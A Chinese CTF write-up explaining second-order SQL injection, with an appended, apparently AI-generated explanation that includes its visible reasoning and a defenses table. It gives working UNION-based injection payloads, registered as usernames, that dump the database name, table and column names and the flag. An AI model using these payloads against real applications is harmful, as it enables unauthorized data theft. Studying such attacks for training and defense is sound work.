[October 2019]Twice SQL Injection

文章详细解释了二次SQL注入的原理,指出在数据仅经过初步转义后存储到数据库,然后在后续查询时未做进一步处理所导致的安全问题。通过注册和登录过程中的恶意SQL语句,展示了如何利用这种漏洞获取数据库信息,包括数据库名、表名、列名以及字段内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一. 题目是二次SQL注入,我们先了解一下二次注入原理:

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

二. 步骤:

1.首先我们尝试注册,登录都使用sql语句

发现并没有什么用 

接着我们进入Info界面,使用简单的sql语句,可以看到页面并没有过滤我们的关键字,但将我们的单引号转义为'\'

 2. 因此我们可以通过注册+登录,来注册恶意的用户名(就是将sql语句当用户名写入数据库中)

首先进行注册:

用户名:1' union select database()#
密码:111

 然后点击Register注册

再登录页面输入刚才注册的用户名和密码,点击login登录

 登录后可以看到爆出了数据库,数据库为ctftraining

接着重复上述操作,依次获取表名,列名,字段

 表名:

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

 

列名: 

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

字段: 

1' union select flag from flag#

得到flag 

<think>好的,我需要处理用户关于2019年10月Twice SQL注入漏洞的询问。首先,我要回顾已有的引用内容,确保准确提取关键点。 根据提供的引用,特别是引用[1]到[4],这个漏洞涉及二次注入。用户提到的问题需要详细描述漏洞的原理和解决方案。首先,二次注入的产生条件是什么?引用[4]提到,第一次插入数据时使用addslashes转义,但转义符“\”没有存入数据库,导致后续查询时数据被信任,从而引发注入。这可能发生在用户注册、登录或修改密码时,如引用[2]所述。 接下来,我需要整理事件的具体情况。根据引用[1]和[3],该漏洞出现在BUU CTF的题目中,涉及二次注入和MongoDB的知识。攻击步骤可能包括注册恶意用户,利用未过滤的关键字进行注入,如使用UNION SELECT获取数据库信息。 解决方案方面,引用[4]提到预防措施,比如统一过滤、使用参数化查询。此外,代码审计和权限控制也是关键点。需要将这些点分条列出,确保结构清晰。 用户还可能关心如何识别和防御二次注入,因此相关问题需要覆盖原理、防御方法、常见场景和检测方式。需要确保问题具有针对性,帮助用户深入理解。 最后,检查所有技术术语是否正确,并确保引用标注正确,比如漏洞原理部分引用[4],攻击步骤引用[3]和[2]。保持语言口语化,避免使用专业术语过多,同时确保信息准确可靠。</think>### 2019年10月Twice SQL注入漏洞分析 #### 漏洞原理 该漏洞属于**二次SQL注入**类型,核心问题在于开发者未对数据库中的“已存储的脏数据”进行二次过滤。具体机制如下: 1. **第一次输入**:用户提交数据(如注册、修改信息)时,系统仅用`addslashes`转义单引号等特殊字符,但转义后的反斜杠`\`未被存入数据库[^4]。 2. **数据存储**:原始数据(如包含单引号的恶意内容)被直接存入数据库,开发者误认为数据已安全。 3. **第二次调用**:当从数据库取出数据并拼接SQL语句时,未重新转义或验证,导致恶意内容破坏查询逻辑[^4]。 #### 漏洞触发场景(以CTF题目为例) 1. **用户注册**:攻击者注册含恶意SQL片段的用户名,例如`admin'--`(注册时单引号被转义为`admin\'--`,但存储时变为`admin'--`)[^2]。 2. **信息查询**:在后续功能(如用户信息页)调用该用户名时,直接拼接SQL语句,形成注入: ```sql SELECT * FROM users WHERE username='admin'--' AND ... ``` 此时`--`注释掉后续条件,绕过验证[^3]。 #### 漏洞利用步骤(基于引用内容) 1. **探测漏洞**:在用户信息页尝试输入`1'`,观察返回是否报错或转义行为,发现单引号被转义为`\'`但数据库存储原始值。 2. **构造Payload**:注册用户名为`1' union select ...#`,后续查询时触发UNION注入,获取数据库表名、字段等信息[^3]。 3. **数据提取**:通过联合查询提取敏感数据,例如: ```sql 1' union select group_concat(table_name) from information_schema.tables where table_schema=database()# ``` #### 解决方案 1. **输入统一过滤**:不仅在输入时转义,从数据库取出数据后也需重新验证和转义。 2. **参数化查询**:使用预处理语句(如PDO或ORM),避免直接拼接SQL。 3. **代码审计**:检查所有从数据库获取数据的操作是否可能被用于SQL拼接。 4. **权限控制**:限制数据库账户权限,避免通过注入获取高权限操作[^1]。 #### 相关防御技术对比 | 方法 | 优点 | 缺点 | |---------------|-----------------------|---------------------| | 参数化查询 | 彻底防止注入 | 需重构代码 | | 双重转义 | 兼容旧系统 | 可能影响数据一致性 | | Web应用防火墙 | 快速部署 | 无法覆盖逻辑漏洞 |
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值